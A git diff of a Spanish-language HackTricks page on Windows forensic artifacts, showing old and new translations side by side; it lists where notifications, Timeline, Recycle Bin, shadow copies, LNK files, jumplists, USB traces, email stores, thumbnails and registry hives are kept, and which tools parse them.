* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}

View file

@ -1,124 +1,125 @@
# Artefactos de Windows # Windows Artifacts
## Artefactos de Windows ## Windows Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Artefactos Genéricos de Windows ## Generic Windows Artifacts
### Notificaciones de Windows 10 ### Windows 10 Notifications
En la ruta `\Users\<nombredeusuario>\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes del aniversario de Windows) o `wpndatabase.db` (después del aniversario de Windows). En la ruta `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` puedes encontrar la base de datos `appdb.dat` (antes del aniversario de Windows) o `wpndatabase.db` (después del aniversario de Windows).
Dentro de esta base de datos SQLite, puedes encontrar la tabla `Notification` con todas las notificaciones (en formato XML) que pueden contener datos interesantes. Dentro de esta base de datos SQLite, puedes encontrar la tabla `Notification` con todas las notificaciones (en formato XML) que pueden contener datos interesantes.
### Línea de Tiempo ### Timeline
La Línea de Tiempo es una característica de Windows que proporciona un **historial cronológico** de las páginas web visitadas, documentos editados y aplicaciones ejecutadas. Timeline es una característica de Windows que proporciona **historial cronológico** de páginas web visitadas, documentos editados y aplicaciones ejecutadas.
La base de datos reside en la ruta `\Users\<nombredeusuario>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). La base de datos reside en la ruta `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Esta base de datos se puede abrir con una herramienta SQLite o con la herramienta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que genera 2 archivos que se pueden abrir con la herramienta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Flujos de Datos Alternativos) ### ADS (Alternate Data Streams)
Los archivos descargados pueden contener la **Zona de Identificación de ADS** que indica **cómo** fue **descargado** de la intranet, internet, etc. Algunos software (como navegadores) suelen incluir **más** **información** como la **URL** desde donde se descargó el archivo. Los archivos descargados pueden contener el **ADS Zone.Identifier** que indica **cómo** fue **descargado** desde la intranet, internet, etc. Algunos software (como navegadores) suelen poner incluso **más** **información** como la **URL** desde donde se descargó el archivo.
## **Copias de Seguridad de Archivos** ## **File Backups**
### Papelera de Reciclaje ### Recycle Bin
En Vista/Win7/Win8/Win10 la **Papelera de Reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\ En Vista/Win7/Win8/Win10 la **Papelera de reciclaje** se puede encontrar en la carpeta **`$Recycle.bin`** en la raíz de la unidad (`C:\$Recycle.bin`).\
Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos: Cuando se elimina un archivo en esta carpeta se crean 2 archivos específicos:
* `$I{id}`: Información del archivo (fecha en que fue eliminado) * `$I{id}`: Información del archivo (fecha de cuando fue eliminado)
* `$R{id}`: Contenido del archivo * `$R{id}`: Contenido del archivo
![](<../../../.gitbook/assets/image (1029).png>) ![](<../../../.gitbook/assets/image (1029).png>)
Teniendo estos archivos, puedes usar la herramienta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obtener la dirección original de los archivos eliminados y la fecha en que fueron eliminados (usa `rifiuti-vista.exe` para Vista Win10). Teniendo estos archivos puedes usar la herramienta [**Rifiuti**](https://github.com/abelcheung/rifiuti2) para obtener la dirección original de los archivos eliminados y la fecha en que fue eliminado (usa `rifiuti-vista.exe` para Vista Win10).
``` ```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
``` ```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### Copias de sombra del volumen ### Copias de Sombra de Volumen
Shadow Copy es una tecnología incluida en Microsoft Windows que puede crear **copias de seguridad** o instantáneas de archivos o volúmenes de computadora, incluso cuando están en uso. La Copia de Sombra es una tecnología incluida en Microsoft Windows que puede crear **copias de seguridad** o instantáneas de archivos o volúmenes de computadora, incluso cuando están en uso.
Estas copias de seguridad suelen estar ubicadas en `\System Volume Information` desde la raíz del sistema de archivos y el nombre está compuesto por **UIDs** mostrados en la siguiente imagen: Estas copias de seguridad generalmente se encuentran en `\System Volume Information` desde la raíz del sistema de archivos y el nombre está compuesto por **UIDs** que se muestran en la siguiente imagen:
![](<../../../.gitbook/assets/image (94).png>) ![](<../../../.gitbook/assets/image (94).png>)
Al montar la imagen forense con **ArsenalImageMounter**, la herramienta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) se puede utilizar para inspeccionar una copia de sombra e incluso **extraer los archivos** de las copias de seguridad de la copia de sombra. Montando la imagen forense con **ArsenalImageMounter**, se puede usar la herramienta [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) para inspeccionar una copia de sombra e incluso **extraer los archivos** de las copias de seguridad de la copia de sombra.
![](<../../../.gitbook/assets/image (576).png>) ![](<../../../.gitbook/assets/image (576).png>)
La entrada del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene los archivos y claves **que no se deben respaldar**: La entrada del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene los archivos y claves **para no hacer copia de seguridad**:
![](<../../../.gitbook/assets/image (254).png>) ![](<../../../.gitbook/assets/image (254).png>)
El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también contiene información de configuración sobre las `Volume Shadow Copies`. El registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` también contiene información de configuración sobre las `Copias de Sombra de Volumen`.
### Archivos de autoguardado de Office ### Archivos de AutoGuardado de Office
Puede encontrar los archivos de autoguardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` Puedes encontrar los archivos de auto guardado de Office en: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Elementos de Shell ## Elementos de Shell
Un elemento de shell es un elemento que contiene información sobre cómo acceder a otro archivo. Un elemento de shell es un elemento que contiene información sobre cómo acceder a otro archivo.
### Documentos recientes (LNK) ### Documentos Recientes (LNK)
Windows **crea automáticamente** estos **accesos directos** cuando el usuario **abre, usa o crea un archivo** en: Windows **crea automáticamente** estos **accesos directos** cuando el usuario **abre, usa o crea un archivo** en:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` * Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Cuando se crea una carpeta, también se crea un enlace a la carpeta, a la carpeta principal y a la carpeta abuela. Cuando se crea una carpeta, también se crea un enlace a la carpeta, a la carpeta padre y a la carpeta abuela.
Estos archivos de enlace creados automáticamente **contienen información sobre el origen** como si es un **archivo** **o** una **carpeta**, **tiempos MAC** de ese archivo, **información de volumen** de dónde se encuentra almacenado el archivo y **carpeta del archivo de destino**. Esta información puede ser útil para recuperar esos archivos en caso de que sean eliminados. Estos archivos de enlace creados automáticamente **contienen información sobre el origen** como si es un **archivo** **o** una **carpeta**, **tiempos MAC** de ese archivo, **información de volumen** de dónde está almacenado el archivo y **carpeta del archivo objetivo**. Esta información puede ser útil para recuperar esos archivos en caso de que hayan sido eliminados.
Además, la **fecha de creación del archivo de enlace** es la primera **vez** que se **usó** el archivo original y la **fecha** **modificada** del archivo de enlace es la **última** **vez** que se usó el archivo de origen. Además, la **fecha de creación del enlace** es la primera **vez** que se **usó** el archivo original y la **fecha** **modificada** del archivo de enlace es la **última** **vez** que se usó el archivo de origen.
Para inspeccionar estos archivos, puede utilizar [**LinkParser**](http://4discovery.com/our-tools/). Para inspeccionar estos archivos puedes usar [**LinkParser**](http://4discovery.com/our-tools/).
En esta herramienta encontrará **2 conjuntos** de marcas de tiempo: En esta herramienta encontrarás **2 conjuntos** de marcas de tiempo:
* **Primer conjunto:** * **Primer Conjunto:**
1. FileModifiedDate 1. FileModifiedDate
2. FileAccessDate 2. FileAccessDate
3. FileCreationDate 3. FileCreationDate
* **Segundo conjunto:** * **Segundo Conjunto:**
1. LinkModifiedDate 1. LinkModifiedDate
2. LinkAccessDate 2. LinkAccessDate
3. LinkCreationDate. 3. LinkCreationDate.
El primer conjunto de marcas de tiempo hace referencia a las **marcas de tiempo del archivo en sí**. El segundo conjunto hace referencia a las **marcas de tiempo del archivo vinculado**. El primer conjunto de marcas de tiempo hace referencia a las **marcas de tiempo del archivo en sí**. El segundo conjunto hace referencia a las **marcas de tiempo del archivo vinculado**.
Puede obtener la misma información ejecutando la herramienta de línea de comandos de Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) Puedes obtener la misma información ejecutando la herramienta de línea de comandos de Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
``` ```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
``` ```
En este caso, la información se guardará dentro de un archivo CSV. En este caso, la información se va a guardar dentro de un archivo CSV.
### Jumplists ### Jumplists
Estas son los archivos recientes indicados por aplicación. Es la lista de **archivos recientes utilizados por una aplicación** a la que se puede acceder en cada aplicación. Pueden ser creados **automáticamente o personalizados**. Estos son los archivos recientes que se indican por aplicación. Es la lista de **archivos recientes utilizados por una aplicación** a los que puedes acceder en cada aplicación. Pueden ser creados **automáticamente o ser personalizados**.
Los **jumplists** creados automáticamente se almacenan en `C:\Users\{nombre de usuario}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Los jumplists se nombran siguiendo el formato `{id}.autmaticDestinations-ms` donde el ID inicial es el ID de la aplicación. Los **jumplists** creados automáticamente se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Los jumplists se nombran siguiendo el formato `{id}.autmaticDestinations-ms` donde el ID inicial es el ID de la aplicación.
Los jumplists personalizados se almacenan en `C:\Users\{nombre de usuario}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` y son creados por la aplicación generalmente porque algo **importante** ha sucedido con el archivo (quizás marcado como favorito). Los jumplists personalizados se almacenan en `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` y son creados por la aplicación generalmente porque algo **importante** ha sucedido con el archivo (quizás marcado como favorito).
El **tiempo de creación** de cualquier jumplist indica **la primera vez que se accedió al archivo** y el **tiempo modificado la última vez**. El **tiempo de creación** de cualquier jumplist indica **la primera vez que se accedió al archivo** y el **tiempo modificado la última vez**.
@ -126,13 +127,13 @@ Puedes inspeccionar los jumplists usando [**JumplistExplorer**](https://ericzimm
![](<../../../.gitbook/assets/image (168).png>) ![](<../../../.gitbook/assets/image (168).png>)
(_Ten en cuenta que las marcas de tiempo proporcionadas por JumplistExplorer están relacionadas con el archivo de jumplist en sí_) (_Nota que las marcas de tiempo proporcionadas por JumplistExplorer están relacionadas con el archivo jumplist en sí_)
### Shellbags ### Shellbags
[**Sigue este enlace para aprender qué son las shellbags.**](interesting-windows-registry-keys.md#shellbags) [**Sigue este enlace para aprender qué son los shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Uso de USB en Windows ## Uso de USBs de Windows
Es posible identificar que se utilizó un dispositivo USB gracias a la creación de: Es posible identificar que se utilizó un dispositivo USB gracias a la creación de:
@ -144,7 +145,7 @@ Ten en cuenta que algunos archivos LNK en lugar de apuntar a la ruta original, a
![](<../../../.gitbook/assets/image (218).png>) ![](<../../../.gitbook/assets/image (218).png>)
Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no sobrevivirán a un reinicio de la PC y el GUID se toma de una shellbag. Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no sobrevivirán a un reinicio del PC y el GUID se toma de un shellbag.
### Información del Registro ### Información del Registro
@ -154,124 +155,125 @@ Los archivos en la carpeta WPDNSE son una copia de los originales, por lo que no
Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`). Consulta el archivo `C:\Windows\inf\setupapi.dev.log` para obtener las marcas de tiempo sobre cuándo se produjo la conexión USB (busca `Section start`).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective ### USB Detective
[**USBDetective**](https://usbdetective.com) se puede utilizar para obtener información sobre los dispositivos USB que se han conectado a una imagen. [**USBDetective**](https://usbdetective.com) se puede usar para obtener información sobre los dispositivos USB que han sido conectados a una imagen.
![](<../../../.gitbook/assets/image (452).png>) ![](<../../../.gitbook/assets/image (452).png>)
### Limpieza de Plug and Play ### Limpieza de Plug and Play
La tarea programada conocida como 'Limpieza de Plug and Play' está diseñada principalmente para la eliminación de versiones de controladores obsoletas. Contrariamente a su propósito especificado de retener la última versión del paquete de controladores, fuentes en línea sugieren que también se dirige a controladores que han estado inactivos durante 30 días. En consecuencia, los controladores de dispositivos extraíbles no conectados en los últimos 30 días pueden estar sujetos a eliminación. La tarea programada conocida como 'Limpieza de Plug and Play' está diseñada principalmente para la eliminación de versiones de controladores obsoletas. Contrario a su propósito especificado de retener la última versión del paquete de controladores, fuentes en línea sugieren que también apunta a controladores que han estado inactivos durante 30 días. En consecuencia, los controladores de dispositivos extraíbles no conectados en los últimos 30 días pueden ser objeto de eliminación.
La tarea se encuentra en la siguiente ruta: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. La tarea se encuentra en la siguiente ruta: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Se proporciona una captura de pantalla que muestra el contenido de la tarea: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) Se proporciona una captura de pantalla que muestra el contenido de la tarea: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Componentes clave y configuraciones de la tarea:** **Componentes Clave y Configuraciones de la Tarea:**
* **pnpclean.dll**: Esta DLL es responsable del proceso real de limpieza. * **pnpclean.dll**: Este DLL es responsable del proceso de limpieza real.
* **UseUnifiedSchedulingEngine**: Establecido en `TRUE`, indicando el uso del motor de programación de tareas genérico. * **UseUnifiedSchedulingEngine**: Establecido en `TRUE`, indicando el uso del motor de programación de tareas genérico.
* **MaintenanceSettings**: * **MaintenanceSettings**:
* **Period ('P1M')**: Indica al Programador de tareas que inicie la tarea de limpieza mensualmente durante el mantenimiento automático regular. * **Period ('P1M')**: Indica al Programador de Tareas que inicie la tarea de limpieza mensualmente durante el mantenimiento automático regular.
* **Deadline ('P2M')**: Instruye al Programador de tareas, si la tarea falla durante dos meses consecutivos, a ejecutar la tarea durante el mantenimiento automático de emergencia. * **Deadline ('P2M')**: Instruye al Programador de Tareas, si la tarea falla durante dos meses consecutivos, a ejecutar la tarea durante el mantenimiento automático de emergencia.
Esta configuración garantiza el mantenimiento regular y la limpieza de controladores, con disposiciones para volver a intentar la tarea en caso de fallas consecutivas. Esta configuración asegura un mantenimiento y limpieza regular de los controladores, con disposiciones para reintentar la tarea en caso de fallos consecutivos.
**Para obtener más información, consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) **Para más información consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Correos electrónicos ## Correos Electrónicos
Los correos electrónicos contienen **2 partes interesantes: Los encabezados y el contenido** del correo electrónico. En los **encabezados** puedes encontrar información como: Los correos electrónicos contienen **2 partes interesantes: Los encabezados y el contenido** del correo. En los **encabezados** puedes encontrar información como:
* **Quién** envió los correos electrónicos (dirección de correo electrónico, IP, servidores de correo que han redirigido el correo) * **Quién** envió los correos (dirección de correo, IP, servidores de correo que han redirigido el correo)
* **Cuándo** se envió el correo electrónico * **Cuándo** se envió el correo
Además, dentro de los encabezados `References` e `In-Reply-To` puedes encontrar el ID de los mensajes: Además, dentro de los encabezados `References` e `In-Reply-To` puedes encontrar el ID de los mensajes:
![](<../../../.gitbook/assets/image (593).png>) ![](<../../../.gitbook/assets/image (593).png>)
### Aplicación Correo de Windows ### Aplicación de Correo de Windows
Esta aplicación guarda correos electrónicos en HTML o texto. Puedes encontrar los correos electrónicos dentro de subcarpetas en `\Users\<nombre de usuario>\AppData\Local\Comms\Unistore\data\3\`. Los correos electrónicos se guardan con la extensión `.dat`. Esta aplicación guarda correos en HTML o texto. Puedes encontrar los correos dentro de subcarpetas en `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Los correos se guardan con la extensión `.dat`.
Los **metadatos** de los correos electrónicos y los **contactos** se pueden encontrar dentro de la **base de datos EDB**: `\Users\<nombre de usuario>\AppData\Local\Comms\UnistoreDB\store.vol` Los **metadatos** de los correos y los **contactos** se pueden encontrar dentro de la **base de datos EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Cambia la extensión** del archivo de `.vol` a `.edb` y puedes usar la herramienta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abrirlo. Dentro de la tabla `Message` puedes ver los correos electrónicos. **Cambia la extensión** del archivo de `.vol` a `.edb` y puedes usar la herramienta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abrirlo. Dentro de la tabla `Message` puedes ver los correos.
### Microsoft Outlook ### Microsoft Outlook
Cuando se utilizan servidores Exchange o clientes de Outlook, habrá algunos encabezados MAPI: Cuando se utilizan servidores de Exchange o clientes de Outlook, habrá algunos encabezados MAPI:
* `Mapi-Client-Submit-Time`: Hora del sistema cuando se envió el correo electrónico * `Mapi-Client-Submit-Time`: Hora del sistema cuando se envió el correo
* `Mapi-Conversation-Index`: Número de mensajes secundarios del hilo y marca de tiempo de cada mensaje del hilo * `Mapi-Conversation-Index`: Número de mensajes hijos del hilo y marca de tiempo de cada mensaje del hilo
* `Mapi-Entry-ID`: Identificador del mensaje. * `Mapi-Entry-ID`: Identificador del mensaje.
* `Mappi-Message-Flags` y `Pr_last_Verb-Executed`: Información sobre el cliente MAPI (¿mensaje leído? ¿no leído? ¿respondido? ¿redirigido? ¿fuera de la oficina?) * `Mappi-Message-Flags` y `Pr_last_Verb-Executed`: Información sobre el cliente MAPI (¿mensaje leído? ¿no leído? ¿respondido? ¿redirigido? ¿fuera de la oficina?)
En el cliente Microsoft Outlook, todos los mensajes enviados/recibidos, datos de contactos y datos de calendario se almacenan en un archivo PST en: En el cliente de Microsoft Outlook, todos los mensajes enviados/recibidos, datos de contactos y datos de calendario se almacenan en un archivo PST en:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook` * `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
La ruta del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica el archivo que se está utilizando. La ruta del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica el archivo que se está utilizando.
Puedes abrir el archivo PST utilizando la herramienta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). Puedes abrir el archivo PST usando la herramienta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../.gitbook/assets/image (498).png>) ![](<../../../.gitbook/assets/image (498).png>)
### Archivos OST de Microsoft Outlook ### Archivos OST de Microsoft Outlook
Un archivo **OST** es generado por Microsoft Outlook cuando está configurado con un servidor **IMAP** o de **Exchange**, almacenando información similar a un archivo PST. Este archivo se sincroniza con el servidor, reteniendo datos durante **los últimos 12 meses** hasta un **tamaño máximo de 50GB**, y se encuentra en el mismo directorio que el archivo PST. Para ver un archivo OST, se puede utilizar el [**visor de OST Kernel**](https://www.nucleustechnologies.com/ost-viewer.html). Un **archivo OST** es generado por Microsoft Outlook cuando está configurado con **IMAP** o un servidor **Exchange**, almacenando información similar a un archivo PST. Este archivo se sincroniza con el servidor, reteniendo datos durante **los últimos 12 meses** hasta un **tamaño máximo de 50GB**, y se encuentra en el mismo directorio que el archivo PST. Para ver un archivo OST, se puede utilizar el [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Recuperación de Adjuntos ### Recuperando Adjuntos
Los adjuntos perdidos podrían ser recuperables desde: Los adjuntos perdidos podrían ser recuperables de:
* Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` * Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
* Para **IE11 y superior**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` * Para **IE11 y superiores**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Archivos MBOX de Thunderbird ### Archivos MBOX de Thunderbird
**Thunderbird** utiliza archivos **MBOX** para almacenar datos, ubicados en `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. **Thunderbird** utiliza **archivos MBOX** para almacenar datos, ubicados en `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Miniaturas de Imágenes ### Miniaturas de Imágenes
* **Windows XP y 8-8.1**: Acceder a una carpeta con miniaturas genera un archivo `thumbs.db` que almacena vistas previas de imágenes, incluso después de la eliminación. * **Windows XP y 8-8.1**: Acceder a una carpeta con miniaturas genera un archivo `thumbs.db` que almacena vistas previas de imágenes, incluso después de la eliminación.
* **Windows 7/10**: `thumbs.db` se crea al acceder a través de una red mediante una ruta UNC. * **Windows 7/10**: `thumbs.db` se crea cuando se accede a través de una red mediante una ruta UNC.
* **Windows Vista y versiones más recientes**: Las vistas previas de miniaturas se centralizan en `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con archivos nombrados **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) y [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) son herramientas para ver estos archivos. * **Windows Vista y versiones más nuevas**: Las vistas previas de miniaturas se centralizan en `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con archivos llamados **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) y [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) son herramientas para ver estos archivos.
### Información del Registro de Windows ### Información del Registro de Windows
El Registro de Windows, que almacena datos extensos de actividad del sistema y del usuario, se encuentra en archivos en: El Registro de Windows, que almacena una extensa cantidad de datos sobre la actividad del sistema y del usuario, se encuentra dentro de archivos en:
* `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`. * `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`.
* `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`. * `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`.
* Windows Vista y versiones posteriores hacen copias de seguridad de los archivos del registro de `HKEY_LOCAL_MACHINE` en `%Windir%\System32\Config\RegBack\`. * Windows Vista y versiones posteriores respaldan los archivos del registro de `HKEY_LOCAL_MACHINE` en `%Windir%\System32\Config\RegBack\`.
* Además, la información de ejecución de programas se almacena en `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` desde Windows Vista y Windows 2008 Server en adelante. * Además, la información sobre la ejecución de programas se almacena en `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` desde Windows Vista y Windows 2008 Server en adelante.
### Herramientas ### Herramientas
Algunas herramientas son útiles para analizar los archivos del registro: Algunas herramientas son útiles para analizar los archivos del registro:
* **Editor de Registro**: Viene instalado en Windows. Es una interfaz gráfica para navegar por el registro de Windows de la sesión actual. * **Editor del Registro**: Está instalado en Windows. Es una GUI para navegar a través del registro de Windows de la sesión actual.
* [**Explorador de Registro**](https://ericzimmerman.github.io/#!index.md): Permite cargar el archivo del registro y navegar a través de ellos con una interfaz gráfica. También contiene Marcadores que resaltan claves con información interesante. * [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Permite cargar el archivo del registro y navegar a través de él con una GUI. También contiene Marcadores que destacan claves con información interesante.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Nuevamente, tiene una interfaz gráfica que permite navegar por el registro cargado y también contiene complementos que resaltan información interesante dentro del registro cargado. * [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Nuevamente, tiene una GUI que permite navegar a través del registro cargado y también contiene complementos que destacan información interesante dentro del registro cargado.
* [**Recuperación del Registro de Windows**](https://www.mitec.cz/wrr.html): Otra aplicación con interfaz gráfica capaz de extraer la información importante del registro cargado. * [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Otra aplicación GUI capaz de extraer la información importante del registro cargado.
### Recuperación de Elementos Eliminados ### Recuperando Elementos Eliminados
Cuando se elimina una clave, se marca como tal, pero hasta que se necesite el espacio que ocupa, no se eliminará. Por lo tanto, utilizando herramientas como **Explorador de Registro**, es posible recuperar estas claves eliminadas. Cuando se elimina una clave, se marca como tal, pero hasta que el espacio que ocupa sea necesario, no se eliminará. Por lo tanto, usando herramientas como **Registry Explorer** es posible recuperar estas claves eliminadas.
### Hora de Última Escritura ### Última Hora de Escritura
Cada Clave-Valor contiene una **marca de tiempo** que indica la última vez que fue modificada. Cada Clave-Valor contiene una **marca de tiempo** que indica la última vez que fue modificada.
### SAM ### SAM
El archivo/base de datos **SAM** contiene los **hashes de contraseñas de usuarios, grupos y usuarios** del sistema. El archivo/hive **SAM** contiene los **usuarios, grupos y hashes de contraseñas de los usuarios** del sistema.
